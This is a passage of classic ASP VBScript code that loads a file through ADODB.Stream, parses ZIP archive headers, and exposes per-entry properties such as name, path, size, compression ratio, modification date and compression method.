Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function
Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Class clsZip Private mbin_Zip Private mobj_Files() Private mlng_Files Sub ZipLoad(pstrFileName) Dim lobjFSO Dim llngTristateFalse Dim llngForReading dim objStream mbin_Zip = "" If pstrFileName = "" Then Exit Sub
If InStr(1, pstrFileName, ":\") = 0 Then pstrFileName = Server.MapPath(pstrFileName) End If
Set lobjFSO = Server.CreateObject("Scripting.FileSystemObject")
If lobjFSO.FileExists(pstrFileName) Then set objStream=Server.CreateObject("ADODB.Stream") objStream.Type=1 objStream.Open on error resume next objStream.LoadFromFile(pstrFileName) mbin_Zip = objStream.Read set objStream=nothing End If Set lobjFSO = Nothing Call ParseZips()
End Sub Public Property Let ZipData(ByRef pbinBinaryData) mbin_Zip = pbinBinaryData Call ParseZips() End Property Public Property Get FileCount() FileCount = mlng_Files End Property Public Property Get GetFile(ByRef plngIndex) Set GetFile = mobj_Files(plngIndex-1) End Property
Private Sub ParseZips() Dim llngOffSet mlng_Files = 0 llngOffSet = 0 If LenB(mbin_Zip) = 0 Then Exit Sub Do ' Find next PK 3.04 record llngOffset = InStrB(llngOffset + 1, mbin_zip, ChrB(&h50) & ChrB(&h4B) & ChrB(&h03) & ChrB(&h04)) If llngOffset = 0 Then Exit Do llngOffset = llngOffset - 1 ReDim Preserve mobj_Files(mlng_Files) Set mobj_Files(mlng_Files) = New clsZipFile With mobj_Files(mlng_Files) .Signature = GetString(llngOffset + 1, 2) & " " & CInt(GetHex(llngOffset + 3, 1)) & "." & GetHex(llngOffset + 4, 1) .ExtractVersion = FormatNumber(GetNumber(llngOffset + 5, 2) * .1, 1, True) .GeneralPurposeFlags = GetNumber(llngOffset + 7, 2) .CompressionMethod = GetNumber(llngOffset + 9, 2) .LastModifiedTime = GetNumber(llngOffset + 11, 2) .LastModifiedDate = GetNumber(llngOffset + 13, 2) .CRC32 = GetNumber(llngOffset + 15, 4) .CompressedSize = GetNumber(llngOffset + 19, 4) .UncompressedSize = GetNumber(llngOffset + 23, 4) .FileNameLength = GetNumber(llngOffset + 27, 2) .ExtraFieldLength = GetNumber(llngOffset + 29, 2) .FileName = GetString(llngOffset + 31, .FileNameLength) .ExtraField = GetString(llngOffset + 31 + .FileNameLength, .ExtraFieldLength) .StartByte = llngOffSet + 1 .EndByte = llngOffSET + .FileNameLength + .ExtraFieldLength + .CompressedSize + 30 ' .BinaryData = MidB(pbin_Zip, llngOffSET + .FileNameLength + .ExtraFieldLength + 30, .CompressedSize) ' .LocalFileHeader = GetString(llngOffset + 1, .FileNameLength + .ExtraFieldLength + 30) llngOffSet = .EndByte .IsOverall = (.Name = "" And .Path = "") .IsFolder = (.Name = "" And Not .Path = "") End With mlng_Files = mlng_Files + 1 Loop While mobj_Files(mlng_Files - 1).EndByte < LenB(mbin_zip) End Sub Private Function GetHex(plngStart, plngLength) Dim llngIndex Dim lstrHex For llngIndex = 0 To plngLength - 1 lstrHex = lstrHex & Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) Next GetHex = lstrHex End Function Private Function GetString(plngStart, plngLength) Dim llngIndex Dim lstrString If LenB(mbin_zip) < (plngStart + (plngLength - 1)) Then Exit Function For llngIndex = 0 To plngLength - 1 If AscB(MidB(mbin_zip, plngStart + llngIndex, 1)) = 0 Then lstrString = lstrString & " " Else lstrString = lstrString & Chr(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))) End If Next GetString = lstrString End Function Private Function GetNumber(plngStart, plngLength) If plngStart < 0 Then Exit Function Dim llngIndex Dim lstrHex For llngIndex = 0 To plngLength - 1 lstrHex = Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) & lstrHex Next GetNumber = CDbl("&h" & lstrHex) End Function Function GetDate(plngStart) Dim llngDate llngDate = GetNumber(plngStart, 2) GetDate = DateSerial(1980 + (llngDate And &HFE00) \ &H200, (llngDate And &H1E0) \ &H20, llngDate And &H1F) End Function Function GetTime(plngStart) Dim llngDate llngDate = GetNumber(plngStart, 2) GetTime = TimeSerial((llngDate And &HF800) \ &H800, (llngDate And &H7E0) \ &H20, (llngDate And &H1F) * 2) End Function End Class
Class clsZipFile Public Signature Public ExtractVersion Public GeneralPurposeFlags Public CompressionMethod Public LastModifiedTime Public LastModifiedDate Public CRC32 Public CompressedSize Public UncompressedSize Public FileNameLength Public ExtraFieldLength Public FileName Public ExtraField Public StartByte Public EndByte Public BinaryData Public LocalFileHeader Public IsFolder Public IsOverall Public Property Get Name Dim lstrPath lstrPath = Replace(FileName, "/", "\") If InStr(1, lstrPath, "\") = "0" Then Name = lstrPath Exit Property End If Name = Mid(lstrPath, InStrRev(lstrPath, "\") + 1) End Property
Public Property Get Path Dim lstrPath lstrPath = Replace(FileName, "/", "\") If InStr(1, lstrPath, "\") = "0" Then Path = "" Exit Property End If Path = Mid(lstrPath, 1, InStrRev(lstrPath, "\")) End Property
Public Property Get Packed Packed = CompressedSize End Property Public Property Get Ratio If UncompressedSize = 0 Then Exit Property If CompressedSize >= UncompressedSize Then Ratio = "0%" Else Ratio = FormatNumber(((1 - (CompressedSize / UncompressedSize)) * 100), 0, True, False, True) & "%" End If End Property
Public Property Get Modified() Modified = CDate(GetDate(LastModifiedDate) & " " & GetTime(LastModifiedTime)) End Property Private Function GetDate(plngDate) GetDate = DateSerial(1980 + (plngDate And &HFE00) \ &H200, _ (plngDate And &H1E0) \ &H20, plngDate And &H1F) End Function
Private Function GetTime(plngDate) GetTime = TimeSerial((plngDate And &HF800) \ &H800, _ (plngDate And &H7E0) \ &H20, _ (plngDate And &H1F) * 2) End Function Public Property Get Size() Size = UncompressedSize End Property Public Property Get BitMask() Dim llngNumber Dim lstrBits llngNumber = GeneralPurposeFlags Do If llngNumber Mod 2 = 1 Then lstrBits = "1" & lstrBits Else lstrBits = "0" & lstrBits llngNumber = llngNumber \ 2 Loop Until llngNumber = 0 lstrBits = Right("0000000000000000" & lstrBits, 16) For llngNumber = 0 To 3 lstrReturn = lstrReturn & Mid(lstrBits, (llngNumber * 4) + 1, 4) & "." Next BitMask = Left(lstrReturn, 19) End Property
Property Get CompressionMethodString() Select Case CompressionMethod Case 0 CompressionMethodString = "The file is stored (no compression)" Case 1 CompressionMethodString = "The file is Shrunk" Case 2 CompressionMethodString = "The file is Reduced with compression factor 1" Case 3 CompressionMethodString = "The file is Reduced with compression factor 2" Case 4 CompressionMethodString = "The file is Reduced with compression factor 3" Case 5 CompressionMethodString = "The file is Reduced with compression factor 4" Case 6 CompressionMethodString = "The file is Imploded" Case 7 CompressionMethodString = "Reserved for Tokenizing compression algorithm" Case 8 CompressionMethodString = "The file is Deflated" Case 9 CompressionMethodString = "Reserved for enhanced Deflating" Case 10 CompressionMethodString = "PKWARE Date Compression Library Imploding" Case Else CompressionMethodString = "Unhandled Copression type: " & CompressionMethod End Select End Property End Class
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub myWelcome() HtmlHeader("") HtmlMode() HtmlFooter() Destroy() end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= %>
(* Required Fields)
|
|